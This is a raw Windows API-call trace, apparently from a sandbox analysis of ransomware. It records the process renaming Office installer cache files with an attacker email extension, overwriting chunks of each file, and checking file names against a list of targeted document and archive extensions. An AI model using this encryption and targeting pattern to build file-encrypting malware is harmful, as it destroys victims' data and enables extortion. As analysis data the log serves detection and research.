	[0098.641] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0098.641] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc6c | out: lpNewFilePointer=0x0) returned 1
	[0098.642] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0098.642] ReadFile (in: hFile=0x184, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0098.658] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0098.658] ReadFile (in: hFile=0x184, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0098.684] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35bfc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.684] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0098.684] ReadFile (in: hFile=0x184, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0098.713] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0098.713] WriteFile (in: hFile=0x184, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x35bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfcb0*=0xc00fe, lpOverlapped=0x0) returned 1
	[0098.968] SetEndOfFile (hFile=0x184) returned 1
	[0098.969] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f802b8
	[0098.969] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0098.969] WriteFile (in: hFile=0x184, lpBuffer=0x3f802b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f802b8*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0098.970] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0098.970] WriteFile (in: hFile=0x184, lpBuffer=0x3f802b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f802b8*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0098.980] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0098.980] WriteFile (in: hFile=0x184, lpBuffer=0x3f802b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f802b8*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0098.984] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f802b8 | out: hHeap=0x4a0000) returned 1
	[0098.984] CloseHandle (hObject=0x184) returned 1
	[0098.984] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0098.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72
	[0098.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72
	[0098.985] lstrlenW (lpString=".doc") returned 4
	[0098.985] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0098.985] lstrlenW (lpString=".docx") returned 5
	[0098.985] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0098.985] lstrlenW (lpString=".pdf") returned 4
	[0098.985] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0098.985] lstrlenW (lpString=".xls") returned 4
	[0098.985] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0098.985] lstrlenW (lpString=".xlsx") returned 5
	[0098.985] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0098.985] lstrlenW (lpString=".ppt") returned 4
	[0098.985] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0098.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72
	[0098.985] lstrlenW (lpString=".zip") returned 4
	[0098.985] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0098.985] lstrlenW (lpString=".rar") returned 4
	[0098.985] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0098.985] lstrlenW (lpString=".bz2") returned 4
	[0098.985] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0098.985] lstrlenW (lpString=".7z") returned 3
	[0098.985] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0098.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72
	[0098.986] lstrlenW (lpString=".dbf") returned 4
	[0098.986] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0098.986] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72
	[0098.986] lstrlenW (lpString=".1cd") returned 4
	[0098.986] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0098.986] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72
	[0098.986] lstrlenW (lpString=".jpg") returned 4
	[0098.986] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0098.986] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72
	[0098.986] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72
	[0098.986] lstrlenW (lpString=".doc") returned 4
	[0098.986] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0098.986] lstrlenW (lpString=".docx") returned 5
	[0098.986] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0098.986] lstrlenW (lpString=".pdf") returned 4
	[0098.986] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0098.986] lstrlenW (lpString=".xls") returned 4
	[0098.986] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0098.986] lstrlenW (lpString=".xlsx") returned 5
	[0098.986] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0098.986] lstrlenW (lpString=".ppt") returned 4
	[0098.986] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0098.986] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72
	[0098.986] lstrlenW (lpString=".zip") returned 4
	[0098.986] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0098.986] lstrlenW (lpString=".rar") returned 4
	[0098.986] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0098.987] lstrlenW (lpString=".bz2") returned 4
	[0098.987] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0098.987] lstrlenW (lpString=".7z") returned 3
	[0098.987] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0098.987] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72
	[0098.987] lstrlenW (lpString=".dbf") returned 4
	[0098.987] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0098.987] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72
	[0098.987] lstrlenW (lpString=".1cd") returned 4
	[0098.987] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0098.987] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72
	[0098.987] lstrlenW (lpString=".jpg") returned 4
	[0098.987] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0098.987] lstrcmpiW (lpString1=".msi", lpString2=".4k") returned 1
	[0098.987] lstrlenW (lpString="InfoPathMUI.msi") returned 15
	[0098.987] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0098.987] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x35bff1c | out: lpFileSize=0x35bff1c*=3124224) returned 1
	[0098.987] CloseHandle (hObject=0x184) returned 1
	[0098.988] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi")) returned 0x2020
	[0098.988] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0098.988] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0098.988] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0098.988] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc6c | out: lpNewFilePointer=0x0) returned 1
	[0098.988] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0098.988] ReadFile (in: hFile=0x184, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0099.004] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0099.004] ReadFile (in: hFile=0x184, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0099.041] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35bfc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.041] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0099.041] ReadFile (in: hFile=0x184, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0099.087] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.087] WriteFile (in: hFile=0x184, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x35bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfcb0*=0xc010a, lpOverlapped=0x0) returned 1
	[0099.104] SetEndOfFile (hFile=0x184) returned 1
	[0099.104] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f802b8
	[0099.104] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0099.104] WriteFile (in: hFile=0x184, lpBuffer=0x3f802b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f802b8*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0099.105] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0099.105] WriteFile (in: hFile=0x184, lpBuffer=0x3f802b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f802b8*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0099.250] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0099.250] WriteFile (in: hFile=0x184, lpBuffer=0x3f802b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f802b8*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0099.252] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f802b8 | out: hHeap=0x4a0000) returned 1
	[0099.252] CloseHandle (hObject=0x184) returned 1
	[0099.254] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0099.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78
	[0099.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78
	[0099.254] lstrlenW (lpString=".doc") returned 4
	[0099.254] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0099.254] lstrlenW (lpString=".docx") returned 5
	[0099.254] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0099.254] lstrlenW (lpString=".pdf") returned 4
	[0099.254] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0099.254] lstrlenW (lpString=".xls") returned 4
	[0099.254] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0099.254] lstrlenW (lpString=".xlsx") returned 5
	[0099.254] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0099.254] lstrlenW (lpString=".ppt") returned 4
	[0099.254] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0099.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78
	[0099.254] lstrlenW (lpString=".zip") returned 4
	[0099.254] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0099.254] lstrlenW (lpString=".rar") returned 4
	[0099.254] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0099.254] lstrlenW (lpString=".bz2") returned 4
	[0099.254] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0099.254] lstrlenW (lpString=".7z") returned 3
	[0099.254] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0099.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78
	[0099.254] lstrlenW (lpString=".dbf") returned 4
	[0099.255] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0099.255] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78
	[0099.255] lstrlenW (lpString=".1cd") returned 4
	[0099.255] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0099.255] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78
	[0099.255] lstrlenW (lpString=".jpg") returned 4
	[0099.255] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0099.255] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78
	[0099.255] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78
	[0099.255] lstrlenW (lpString=".doc") returned 4
	[0099.255] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0099.255] lstrlenW (lpString=".docx") returned 5
	[0099.255] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0099.255] lstrlenW (lpString=".pdf") returned 4
	[0099.255] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0099.255] lstrlenW (lpString=".xls") returned 4
	[0099.255] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0099.255] lstrlenW (lpString=".xlsx") returned 5
	[0099.255] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0099.255] lstrlenW (lpString=".ppt") returned 4
	[0099.255] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0099.255] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78
	[0099.255] lstrlenW (lpString=".zip") returned 4
	[0099.255] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0099.255] lstrlenW (lpString=".rar") returned 4
	[0099.255] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0099.255] lstrlenW (lpString=".bz2") returned 4
	[0099.255] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0099.255] lstrlenW (lpString=".7z") returned 3
	[0099.255] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0099.255] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78
	[0099.255] lstrlenW (lpString=".dbf") returned 4
	[0099.255] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0099.255] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78
	[0099.256] lstrlenW (lpString=".1cd") returned 4
	[0099.256] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0099.256] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78
	[0099.256] lstrlenW (lpString=".jpg") returned 4
	[0099.256] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0099.256] lstrcmpiW (lpString1=".msi", lpString2=".4k") returned 1
	[0099.256] lstrlenW (lpString="OneNoteMUI.msi") returned 14
	[0099.256] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0099.256] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x35bff1c | out: lpFileSize=0x35bff1c*=2503680) returned 1
	[0099.256] CloseHandle (hObject=0x184) returned 1
	[0099.256] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi")) returned 0x2020
	[0099.256] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0099.256] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0099.257] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0099.257] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc6c | out: lpNewFilePointer=0x0) returned 1
	[0099.257] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0099.257] ReadFile (in: hFile=0x184, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0099.313] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0099.313] ReadFile (in: hFile=0x184, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0099.351] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35bfc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.351] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0099.351] ReadFile (in: hFile=0x184, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0099.369] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.369] WriteFile (in: hFile=0x184, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x35bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfcb0*=0xc0108, lpOverlapped=0x0) returned 1
	[0099.462] SetEndOfFile (hFile=0x184) returned 1
	[0099.462] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f402b0
	[0099.499] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0099.500] WriteFile (in: hFile=0x184, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0099.523] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0099.523] WriteFile (in: hFile=0x184, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0099.530] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0099.530] WriteFile (in: hFile=0x184, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0099.533] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f402b0 | out: hHeap=0x4a0000) returned 1
	[0099.533] CloseHandle (hObject=0x184) returned 1
	[0099.537] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
